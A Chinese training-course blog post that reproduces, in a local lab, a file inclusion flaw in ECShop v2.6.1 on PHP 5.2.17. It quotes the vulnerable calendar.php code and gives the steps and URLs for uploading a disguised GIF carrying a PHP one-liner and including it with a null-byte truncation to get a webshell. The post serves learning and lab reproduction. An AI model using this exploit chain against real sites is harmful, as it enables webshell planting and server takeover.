哎,为期10天的cisp-pte培训,好苦逼好心酸。
大周六的也要培训,哭唧唧...
今天讲到文件包含漏洞时。。。
讲师演示出现问题咯。。。。
那怎么办呢?那我帮忙复现下啦。
1、环境
phpstudy+echsop
ecshop版本:v2.6.1
php版本:5.2.17+apache
2、利用
1、注册用户
2、上传GIF89a头的GIF文件欺骗
3、包含漏洞,如:
http://www.test.com/js/calendar.php?lang=../data/feedbackimg/3_20190511hzvvjb.gif%00.
(注意后面有个“.”)
3、过程
漏洞位置代码:
“js/calendar.php” 16-26行
$lang = (!empty($GET['lang']))
? trim($GET['lang']) : 'zh_cn';//没有过滤,很明显的包含漏洞
if (!file_exists('../languages/' . $lang . '/calendar.php'))
{
$lang = 'zh_cn';
}
require(dirname(dirname(__FILE)) . '/data/config.php');
header('Content-type: application/x-javascript; charset=' . EC_CHARSET);
include_once('../languages/' . $lang . '/calendar.php');//这里包含,需要截断
4、复现
注册个用户前台登陆、我的留言,在上传文件处。
上传GIF89a头的gif文件欺骗(Windows下cmd(gif图片+php一句话)合成就行,切记图片需要在64kb以下)
http://10.211.55.6/ecshop/data/feedbackimg/3_20190511hzvvjb.gif
复制链接,
利用文件包含漏洞获取webshell.
Poc:
http://127.0.0.1/js/calendar.php?lang=../../tmp
Shell地址:
http://10.211.55.6/ecshop/js/calendar.php?lang=../data/feedbackimg/3_20190511hzvvjb.gif%00.
5、结尾:
为什么选择php版本5.2.17?
1、 利用此漏洞需要magic_quotes_gpc函数。
2、 magic_quotes_gpc在php5.4版本以上就去除了,也即是php解析器不会自动为POST、GET、COOKIE过来的数据增加转义字符"\",而是把安全编码交给了用户自己,从而避免了magic_quotes_gpc未设置,用户依赖这个设置而带来了安全隐患。
过程:php.inc查找函数,Off就好。
前面多次怎么修改都无法利用,直到。。。。看见了这条,切换了版本秒成功复现。
此贴只是个学习过程中处理问题的过程,记录一下。